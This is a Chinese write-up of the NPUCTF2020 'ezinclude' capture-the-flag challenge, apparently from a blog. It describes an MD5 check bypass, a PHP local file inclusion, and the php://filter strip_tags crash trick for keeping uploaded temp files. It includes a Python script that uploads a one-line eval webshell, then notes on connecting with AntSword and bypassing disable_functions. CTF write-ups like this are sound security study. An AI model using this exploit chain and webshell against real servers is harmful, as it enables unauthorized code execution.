[NPUCTF2020]ezinclude

本文详细记录了一次通过PHP的MD5密码验证漏洞、远程文件包含漏洞以及PHP临时文件机制进行的渗透测试过程。作者尝试利用getshell方法,最终成功获取服务器的文件信息,并探讨了PHP的phpinfo函数在查找系统漏洞中的作用。

摘要生成于 C知道 ,由 DeepSeek-R1 满血版支持, 前往体验 >

进去发现只告诉我一个账号密码错误,于是抓包看看

发现这里有个md5加密后密码要等与pass变量,有一个hash值,不正好是md5加密的么,我就试试get方法和post方法传入试试

成功!发现一个跳转页面,继续

 

可以看到一个跳转的404页面,我们可以在burpsuite上面弄,也可以用一个关闭js的插件来禁止它跳转。

可以看到body那有一个远程文件包含漏洞,直接用filter伪协议读取源码 

<html>
<head>
<script language="javascript" type="text/javascript">
           window.location.href="404.html";
</script>
<title>this_is_not_fl4g_and_åºé¢äºº_wants_girlfriend</title>
</head>
<>
<body>
<?php
$file=$_GET['file'];
if(preg_match('/data|input|zip/is',$file)){
	die('nonono');
}
@include($file);
echo 'include($_GET["file"])';
?>
</body>
</html>

 可以发现过滤了三个协议就没有其它信息了,我这里看到input就在想会不会这题要让我们getshell来执行命令,接着其它源码都看了一遍发现没什么有利用的点,config.php有一个假的flag

结果一看wp发现忘记还可以扫目录了,出来一个dir.php

<?php
var_dump(scandir('/tmp'));
?>

PHP scandir() 函数

可以发现dir.php文件告诉我们用file参数传入的文件在哪个地方,是不是用file参数传入文件getshell即可,但是我没注意为什么是tmp目录下

php7下有一个临时文件漏洞PHP临时文件机制与利用的思考 - linuxsec - 博客园

也就是当我们传入一个数据什么的,会临时保存在tmp目录下,执行完后会自动删除;但是如果我们可以在中间让php崩溃,不让它及时删除临时文件,那么再次打开可以发现临时文件一直在那

关于php文件操作的几个小trick - tr1ple - 博客园

这里我开始用的包含文件本身来使php崩溃,发现没有用,试了n次都没有及时找到临时文件(看一些博客似乎是这个方法是有时间限制的,不会永久保存下来)

因此我利用的是这个payload,学着写脚本写了一个post请求(感觉自己看得懂但是动手写不出来)

python通过get方式,post方式发送http请求和接收http响应-urllib urllib2 - Poer李 - 博客园 

import requests
url="http://2563355c-e8f9-4c56-90d4-40086c0888c3.node4.buuoj.cn:81/flflflflag.php?file=php://filter/string.strip_tags/resource=/etc/passwd"
phpfile="<?php @eval($_POST['cmd']);?>"
filedata={
    "file":phpfile
}
bak=requests.post(url=url,files=filedata)
print(bak.text)

虽然代码执行后回复的页面是容器不存在,那是因为php成功崩溃了,不是我们没有上传成功

可以看到临时文件保存下来了,利用file参数读取/tmp/临时文件 并且用蚁剑连接

连接进去不知为啥一片空白 ,打开终端后,shell又不能用,因为我是个菜逼,只能用蚁剑的插件绕过disablefunction了,不过到以后估计就不行了,还是要学会os恶意文件上传

 可以发现除了一个假的flag之外没有其他的了,那么只能phpinfo里面去看看了,目前知识只知道这么些个地方;修改一下脚本将一句话改为phpinfo!注意用phpinfo也要php标签来执行的,不要像我一个直接一个phpinfo啥用都没有,他没有给你执行命令

burp出来以后不太方便就保存文件到记事本去查询了

各个版本都有bug漏洞呀!!! 

 

评论 1
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值